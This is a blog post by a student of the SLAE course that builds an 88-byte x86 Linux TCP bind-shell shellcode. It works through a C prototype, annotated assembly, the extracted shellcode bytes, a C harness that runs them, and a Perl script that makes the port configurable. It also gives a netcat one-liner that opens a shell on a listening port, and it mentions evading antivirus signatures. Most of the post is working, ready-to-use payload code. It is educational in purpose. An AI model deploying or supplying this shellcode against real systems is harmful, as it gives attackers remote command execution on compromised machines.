SLAE: Shell Bind TCP Shellcode

September 22, 2016
Security SLAE

I have recently finished the SecurityTube Linux Assembly Expert (SLAE) course material. In order to successfully gain the certification, seven assignments need to be completed. This is my solution to Assignment 1.

The objective of this assignment is to create a TCP bind shellcode which:

  • Binds to a port
  • Execs shell on incoming connection
  • Has an easily configurable port number

In addition to the assignment objectives, my personal goal was to create shorter bind shellcode than that on shell-storm. At the time of writing, that meant writing shellcode shorter than 89 bytes.

What is a bind shell?

Typically when an attacker has identified a vulnerability in their target machine, e.g. remote code execution in a web application, they will want to try and obtain shell access to make the tasks of privilege escalation and post exploitation easier. One approach is to create a bind shell. Essentially a bind shell is where the attacker opens a listening port on the target machine which waits for an incoming connection. Upon connecting to the machine via the listening port, the attacker is presented with a shell where they are able to execute arbitrary commands.

For a Linux machine, creating a bind shell can be as simple as running a simple netcat command:

$ nc -nlvp 4444 -e /bin/sh

However, for this assignment, we’re going to assume that netcat isn’t available, and instead stick to low-level (Linux) system calls.

Breaking down the problem

Jumping straight into assembly programming would have been a bad idea. It would have been difficult to test if the logic was correct, and it would have probably resulted in overly complex shellcode. Therefore, a simple bind shell in C was created first:

/*
 * Author:  Hayden Eskriett [hayden@eskriett.com]
 * Website: https://eskriett.com
 *
 * Creates a simple TCP bind shell on port 4444
 */

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {
    int portno = 4444;

    // Create a new TCP socket (man socket)
    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    // Server initialisation
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET;         // Specify the IPv4 address family
    srv_addr.sin_port =  htons(portno);    // Specify the port to listen on (in network byte order)
    srv_addr.sin_addr.s_addr = INADDR_ANY; // Bind socket to all available interfaces

    // Bind server address to socket
    bind(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

    // Configure socket to listen for incomming connections
    listen(sockfd, 0);

    // Client initialisation
    struct sockaddr_in cli_addr;
    socklen_t socklen = sizeof(cli_addr);

    // Accept connection from client
    int clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );

    // Redirect STDIN, STDOUT and STDERR to client
    for (int i=0; i<3; i++){
        dup2(clientfd, i);
    }

    // exec shell on incoming connection
    execve("/bin/sh", NULL, NULL);
}

Compiling with gcc bind_shell.c -o bind_shell_c -std=c99 and executing the ./bind_shell_c program allows us to create a bind shell on our VM and connect to it via our host machine: Bind shell on victim machine Attacker connecting to bind shell

Assembling the Assembly

Through an examination of the C program several key components can be observed, including:

  • Creating a socket
  • Binding an address to the socket
  • Configuring the socket to listen for incoming connections
  • Accepting connections from the attacker’s machine
  • Redirecting STDIN, STDOUT and STDERR to the attacker
  • Spawning a shell

Each of these steps maps to a system call (syscall), which should ensure assembly construction is relatively straight-forward.

Creating a socket

The first task requires a socket to be created. If we examine our C code this is achieved with:

int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

To identify the syscall associated with socket creation, a program called ausyscall can be used:

$ ausyscall socket
socketcall         102

Inspecting the man pages, man socketcall, we find it takes two arguments:

  1. call — An integer which determines the socket functions to invoke, e.g. create, bind, listen, etc.
  2. args — A pointer to a block containing arguments for the function called

From this, we can determine how the registers should look before an interrupt (0x80) is issued for the syscall:

  • eax: This should contain the number for the socketcall syscall
  • ebx: This should contain the call argument; in this case the argument for socket creation
  • ecx: This should contain the args argument, i.e. a pointer to the arguments for the socket creation call

First we convert 122 to hex. There are many ways to achieve this, but one of the simplest is to make a quick call to printf:

$ printf "0x%x\n" 102
0x66

We then store this in the eax register:

push 0x66    ; socketcall syscall
pop eax

Note, we use the PUSH-POP technique (rather than first resetting eax with xor eax, eax) to reduce the size of our final shellcode! Next we need to identify the integer used for socket creation. By examining grep SYS_ /usr/include/linux/net.h closely, we identify the value as 1:

#define SYS_SOCKET    /* sys_socket(2) */

This value can then be added to the ebx register via the PUSH-POP technique:

push 0x1    ; SYS_SOCKET call argument
pop ebx

The next step is slightly trickier because the ecx register needs to contain a pointer to the SYS_SOCKET arguments. We achieve this by storing the arguments on the stack. As the stack grows from high to low memory, the arguments needs to be added in reverse order. Once all the arguments have been added, we can set the ecx register to the value of the stack pointer (esp). There are three arguments that need to be added to the stack:

  1. AF_INET — By examining /usr/include/bits/socket.h we find that this value is 2.
  2. SOCK_STREAM — By running grep SOCK_STREAM ./linux-headers-3.13.0-95/include/linux/net.h we find that this value is 1;
  3. IPPROTO_IP — By running grep 'IPPROTO_IP ' /usr/include/linux/in.h we find this value to be 0.

We can add these values to the stack (remember in reverse order) as follows:

xor esi, esi    ; Reset esi register
push esi        ; IPPROTO_IP (0x0)
push ebx        ; SOCK_STREAM (0x1)
push 0x2        ; AF_INET (0x2)
mov ecx, esp    ; Pointer to the args
int 0x80        ; exec sys_socket socketcall syscall

Now that we have all the correct arguments on the stack, we issue an interrupt, int 0x80. This will lead to the socket being created. The return value of the SYS_SOCKET syscall is stored in the eax register, and is the socket file descriptor (sockfd). As we need to use the eax register for a number of other operations, we store sockfd into the edi register. Before we do this, we pop the top of the stack (0x2) into edi, and then use the xchg instruction to switch this with eax. These small number of instructions ensure that sockfd is in edi and also prepares eax for our next step:

pop edi          ; 0x2 is required for next syscall (SYS_BIND)
xchg edi, eax    ; Switch eax and edi. edi now contains sockfd

Binding to an address

Examining our C program, the next stage is to bind our socket to an address/port:

struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port =  htons(portno);
srv_addr.sin_addr.s_addr = INADDR_ANY;

bind(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

As with our socket creation, we know that eax should contain the integer corresponding to the socketcall syscall; again 0x66. Next we run grep SYS_BIND /usr/include/linux/net.h and find that SYS_BIND has a value of 2. This should be stored in ebx, and if you recall, at the end of our socket creation, we ended up with 0x2 in the eax register and 0x0 in the ebx register. Therefore, to get the registers in the correct state, we first use the xchg command, before assigning 0x66 to eax (we actually assign to al which is the lower 8 bits of the eax register):

xchg ebx, eax    ; SYS_BIND (0x2)
mov al, 0x66     ; socketcall syscall

Next srv_addr (which is a sockaddr_in struct) needs to be constructed. Remember a C struct is simple a grouped list of variables that are placed into one block of memory, i.e. the variables are next to each other in memory. If we examine the code for this struct in more detail, we find:

struct sockaddr_in {
    __kernel_sa_family_t  sin_family;     /* Address family   */
    __be16                sin_port;       /* Port number      */
    struct in_addr        sin_addr;       /* Internet address */
};

This is pretty straightforward, and easy for us to construct manually in memory. First, we need to identify the values used to construct srv_addr:

  1. AF_INET — Previously, we identified this as having a value of 2
  2. htons(portno) — This simply converts our desired listening port to network byte order (i.e. big-endian). If our desired port is 4444, this is 0x115c in hex, which becomes 0x5c11 in network byte order.
  3. INADDR_ANY — Examining /usr/src/linux-headers-3.13.0-95/include/uapi/linux/in.h this value is found to be 0.

Now we’ve identified these values, we can add them to the stack. Again we do this in reverse order. If we recall the state of our stack up to this point, we’ll find that the top of the stack currently contains a 0x1, followed by a 0x0. As our last argument, INADDR_ANY, needs to be a 0x0, we pop the 0x1 off the stack into the edx register (we’ll use this later), leaving 0x0 behind to represent INADDR_ANY. Next we can push our port and address family arguments onto the stack, before moving the address of the stack pointer into the ecx register:

pop edx             ; s_addr = INADDR_ANY (0x0)
push word 0x5c11    ; sin_port = htons(portno)
push bx             ; sin_family = AF_INET (0x2)
mov ecx, esp

Now we’ve configured srv_addr, we need to push the arguments for the SYS_BIND call onto the stack. First we need to put the size of the srv_addr onto the stack, in this case we push 16. Next we push a pointer to srv_addr, which is currently stored in the ecx register. Finally, we push the value of sockfd onto the stack, and this is stored in the edi register.

Once the arguments have been configured, we move the stack pointer into the ecx register, before executing the syscall:

push 0x10       ; sizeof(srv_addr) = 16
push ecx        ; pointer to srv_addr
push edi        ; sockfd
mov ecx, esp
int 0x80        ; exec SYS_BIND socketcall

Listening for connections

At this point, our assembly creates a socket and binds it to all interfaces. Now we need to mark the socket as a passive socket, such that it can be used to accept incoming connection requests. Examining our C code we have:

listen(sockfd, 0);

We need to put 0x66 into the eax register, identify the value of SYS_LISTEN and store it in ebx, push our arguments (sockfd and 0) onto the stack, and store the address of the arguments in ecx. Using grep SYS_LISTEN /usr/include/linux/net.h we find that 0x4 needs to be stored in the ebx register.

push eax        ; backlog=0
push edi        ; sockfd
mov ecx, esp

mov al, 0x66    ; socketcall syscall
shl bl, 1       ; multiply bl by 2 to get 4 (SYS_LISTEN)
int 0x80

As bl currently stores 0x2, we can use a bit-hack to shift the bits left with the shl instruction; this has the effect of raising the value in bl to the power 2. Of course we could have used mul bl, 2, but I think this is neat, and provides the added benefit of a different shellcode signature which should reduce the likelihood of AV detection.

Accepting connections

Now our assembly has been configured to listen for incoming connections, we need to add logic to accept connections. Looking at our C program we have:

struct sockaddr_in cli_addr;
socklen_t socklen = sizeof(cli_addr);
int clientfd = accept(sockfd,(struct sockaddr *)&cli_addr, &socklen);

Again, 0x66 needs to be put in the eax register and the value corresponding to SYS_ACCEPT (0x5) needs to be put in the ebx register. The arguments for SYS_ACCEPT are pretty simple, in this case both 0x0, and each of them need to be added to the stack, before the stack pointer can be moved into the ecx register. Once we’ve issued our interrupt, int 0x80, we move the return value of the SYS_ACCEPT syscall, the clientfd, from the eax register to the ebx register.

push esi        ; addrlen (0x0)
push esi        ; addr (0x0)
push edi        ; sockfd
mov ecx, esp

mov al, 0x66    ; socketcall syscall
inc ebx         ; SYS_ACCEPT (0x5)

int 0x80        ; exec SYS_ACCEPT socketcall

xchg ebx, eax   ; store clientfd in ebx

At this point in time we have a socket which listens on all interfaces and accepts connections. Now we need to redirect the output of STDIN, STDOUT and STDERR to our clientfd.

Redirecting STD*

Examining our C program we identify that the simplest way to redirect STDIN, STDOUT and STDERR to our clientfd is to use a loop of 3 iterations along with the dup2 system call:

for (int i=0; i<3; i++){
    dup2(clientfd, i);
}

If you’ve been keeping track of the stack up to this point, you’ll know the top of our stack contains sockfd followed by 0x0 and then another 0x0. At this current moment in time, we also know the ecx register contains the address of the top of the stack. As we require the ecx (counter) register for looping, we perform two pop instructions, to reset the register to 0x0, before we move 0x2 into it (more specifically cl which is the lower 8 bits of the ecx register):

pop ecx        ; removes socketfd from stack
pop ecx        ; remove addr (0x0) from stack
mov cl, 0x2    ; set loop counter to 2

Next we identify the integer that represents the dup2 systemcall:

$ ausyscall dup2
dup2               63

From this, we know that 0x3f (63) needs to be stored in the eax register. The first argument to dup2 is the clientfd and if you recall, we’ve already moved this into the ebx register. Finally, the loop counter, ecx will be used as the second argument to dup2 and will represent STDIN (0), STDOUT (1) and STDERR (2). On each iteration of our loop, the counter needs to be decremented until it’s below 0. When the ecx register goes below 0, the sign-flag, SF, is set; we can utilise the jns (jump near if not sign) instruction to continue looping until this occurs. Putting all this together we have:

loop:
    mov al, 0x3f    ; dup2 syscall
    int 0x80        ; exec dup2 syscall
    dec ecx         ; decrement loop counter
    jns loop        ; loop until we go below 0

Our assembly is almost complete. All that’s required now is to use the execve syscall to spawn a shell.

Spawning a shell

Examining our C program one last time, we notice a call is made to execve in order to spawn a shell:

execve("/bin/sh", NULL, NULL);

As with the previous syscalls, we want to identify the integer representing execve:

$ ausyscall execve
execve             11

Therefore, we first move 0xb into the eax register. Examining the man pages for execve, we find that it takes three arguments: filename, program arguments (argv) and environment arguments (envp). For the program arguments the man pages says:

argv is an array of argument strings passed to the new program. By convention, the first of these strings should contain the filename associated with the file being executed.

While it’s a convention to have the filename as the first argument, it’s not a necessity and the argv argument can be NULL. By doing this, we can shorten the size of our final shellcode. Therefore, we’re only concerned with the filename argument, which needs to be stored in the ebx register. We achieve this by pushing the string /bin//sh onto the stack followed by a null byte. The state of the stack currently has a string terminator (0x0) on it. Therefore, as the stack is from high to low memory, we just need to store each character of the string on the stack in reverse order, e.g. hs//nib/.

Lastly we need to ensure the ecx and edx registers (used to represent the 2nd and 3rd arguments respectively) are 0x0. After our previous looping, the ecx register is currently -1. We can therefore issue an inc on it to get it to 0x0. Next, recalling a few steps, we remember we popped 0x1 into the edx register. By issuing a dec instruction on this register, we can set it to 0x0. Finally, we issue an interrupt, to spawn a shell!

mov al, 0xb        ; execve syscall

push 0x68732f2f    ;"hs//"
push 0x6e69622f    ;"nib/"

mov ebx, esp       ; pointer to filename
inc ecx            ; set ecx to 0x0
dec edx            ; set edx to 0x0

int 0x80

Complete Assembly

Putting all of this together, we end up with the following assembly:

; Filename: bind_shell.nasm
; Author:   Hayden Eskriett [hayden@eskriett.com]
; Website:  https://eskriett.com

global _start

section .text
_start:

    ;======= Create a socket =======;
    ;
    ; int socketcall(int call, unsigned long *args);
    ; int socket(int domain, int type, int protocol);

    push 0x66           ; socketcall syscall
    pop eax

    push 0x1            ; SYS_SOCKET call argument
    pop ebx

    ; sys_socket arguments
    xor esi, esi        ; reset esi register
    push esi            ; IPPROTO_IP (0x0)
    push ebx            ; SOCK_STREAM (0x1)
    push 0x2            ; AF_INET (0x2)
    mov ecx, esp        ; pointer to the args

    int 0x80            ; exec sys_socket socketcall syscall

    pop edi             ; 0x2 is required for next syscall (SYS_BIND)
    xchg edi, eax       ; switch eax and edi. edi now contains sockfd

    ;======= Binding =======;
    ;
    ; int socketcall(int call, unsigned long *args);
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

    xchg ebx, eax       ; SYS_BIND (0x2)
    mov al, 0x66        ; socketcall syscall

    ; srv_addr
    pop edx             ; s_addr = INADDR_ANY (0x0)
    push word 0x5c11    ; sin_port = htons(portno)
    push bx             ; sin_family = AF_INET (0x2)
    mov ecx, esp

    push 0x10           ; sizeof(srv_addr) = 16
    push ecx            ; pointer to srv_addr
    push edi            ; sockfd
    mov ecx, esp

    int 0x80            ; exec SYS_BIND socketcall (eax will be 0 on success)

    ;======= Listen for connection =======;
    ;
    ; int socketcall(int call, unsigned long *args);
    ; int listen(int sockfd, int backlog);

    push eax            ; backlog=0
    push edi            ; sockfd
    mov ecx, esp

    mov al, 0x66        ; socketcall syscall
    shl bl, 1           ; multiply bl by 2 to get 4 (SYS_LISTEN)

    int 0x80            ; exec SYS_LISTEN socketcall

    ;======= Accept connections =======;
    ;
    ; int socketcall(int call, unsigned long *args);
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

    push esi            ; addrlen (0x0)
    push esi            ; addr (0x0)
    push edi            ; sockfd
    mov ecx, esp

    mov al, 0x66        ; socketcall syscall
    inc ebx             ; SYS_ACCEPT (0x5)

    int 0x80            ; exec SYS_ACCEPT socketcall

    xchg ebx, eax       ; store clientfd in ebx

    ;======= Redirect STD* ========;
    ;
    ; int dup2(int oldfd, int newfd);

    pop ecx             ; removes socketfd from stack
    pop ecx             ; remove addr (0x0) from stack
    mov cl, 0x2         ; set loop counter to 2

loop:
    mov al, 0x3f        ; dup2 syscall
    int 0x80            ; exec dup2 syscall
    dec ecx             ; decrement loop counter
    jns loop            ; loop until we go below 0

    ;======= Exec shell ========;
    ;
    ; int execve(const char *filename, char *const argv[], char *const envp[]);

    mov al, 0xb         ; execve syscall

    push 0x68732f2f     ;"hs//"
    push 0x6e69622f     ;"nib/"

    mov ebx, esp        ; pointer to filename
    inc ecx             ; set ecx to 0x0
    dec edx

    int 0x80

Testing the shellcode

First we create a compile.sh script to assemble and link the assembly program:

#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -z execstack -o $1 $1.o
echo '[+] Done!'

Running ./compile.sh bind_shell results in a small bind_shell executable. We can then chain together a few shell commands to extract the shellcode from bind_shell:

$ printf '"'; for i in $(objdump -d bind_shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; printf '"\n'
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x5a\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x50\x57\x89\xe1\xb0\x66\xd0\xe3\xcd\x80\x56\x56\x57\x89\xe1\xb0\x66\x43\xcd\x80\x93\x59\x59\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x4a\xcd\x80"

Next we create a small C program, shellcode.c to run our shellcode:

#include<stdio.h>
unsigned char code[] = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x5a\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x50\x57\x89\xe1\xb0\x66\xd0\xe3\xcd\x80\x56\x56\x57\x89\xe1\xb0\x66\x43\xcd\x80\x93\x59\x59\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x4a\xcd\x80";
int main() {
    printf("Shellcode Length:  %d\n", sizeof(code) - 1);
    int (*ret)() = (int(*)())code;
    ret();
}

And then compile:

gcc shellcode.c -o bind_shell_x86 -fno-stack-protector -z execstack -m32

The bind_shell_x86 program can then be run, and we can verify that a port has been opened as desired:

Bind shell on victim machine Bind shell listening Attacker connecting to bind shell

Examining the first screenshot, you’ll notice that the final shellcode size is 88 bytes, meeting the personal goal established at the beginning of the assignment.

Configuring the port

The final assignment objective that needs to be fulfilled is allowing the port number to be configurable. This can be achieved with a small Perl script:

#!/usr/bin/env perl

use strict;
use warnings;

use Getopt::Long;
use Pod::Usage;

my $opt_port;
GetOptions(
    "p|port=i" => \$opt_port
) or pod2usage();

# Ensure port has been provided
pod2usage() unless $opt_port;

# Sanity checks
die "Valid port are 1-65535!\n"
    if $opt_port > 65535 || $opt_port < 1;

my $port = sprintf "%04X", $opt_port;

# Ensure port doesn't contain 00
die "Port contains a \\x00\n"
    if grep { /00/ } ($port =~ /../g);

# Prefix with \x
$port = join '', map { '\x' . $_ } ($port =~ /../g);

# Output shellcode
print '"' .
    '\x6a\x66\x58\x6a\x01\x5b\x31\xf6',
    '\x56\x53\x6a\x02\x89\xe1\xcd\x80',
    '\x5f\x97\x93\xb0\x66\x5a\x66\x68',
    $port . '\x66\x53\x89\xe1\x6a\x10',
    '\x51\x57\x89\xe1\xcd\x80\x50\x57',
    '\x89\xe1\xb0\x66\xd0\xe3\xcd\x80',
    '\x56\x56\x57\x89\xe1\xb0\x66\x43',
    '\xcd\x80\x93\x59\x59\xb1\x02\xb0',
    '\x3f\xcd\x80\x49\x79\xf9\xb0\x0b',
    '\x68\x2f\x2f\x73\x68\x68\x2f\x62',
    '\x69\x6e\x89\xe3\x41\x4a\xcd\x80',
    "\"\n";

__END__

=head1 NAME

configure_shellcode.pl - outputs TCP bind shellcode

=head1 SYNOPSIS

./configure_shellcode --port 4444

=head1 OPTIONS

=over 8

=item B<--port> listen_port

=back

=cut

This checks if the provided port number is valid, and ensures that the hex representation of the port does not contain 0x00 (which would break our shellcode.c program). When run, this script outputs a shellcode string which we can paste into our shellcode.c program:

Running configure_shellcode script

Compiling and running the shellcode.c program, we can confirm that the script produces shellcode that works as expected:

Bind shell running on port 65500

Summary

I was pretty happy with the final shellcode size of 88 bytes. This is the shortest shellcode I’ve seen for creating a TCP bind shell on a specfic port.

I should note that I did not write perfect shellcode on my first attempt (if only programming were that easy). Instead, the above assembly/shellcode represents a number of iterations (and a number of hand-drawn diagrams of the stack and registers)! I should also note that I’m still very much a novice when it comes to assembly, so if there are further optimisations I’m unaware of, please let me know.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-791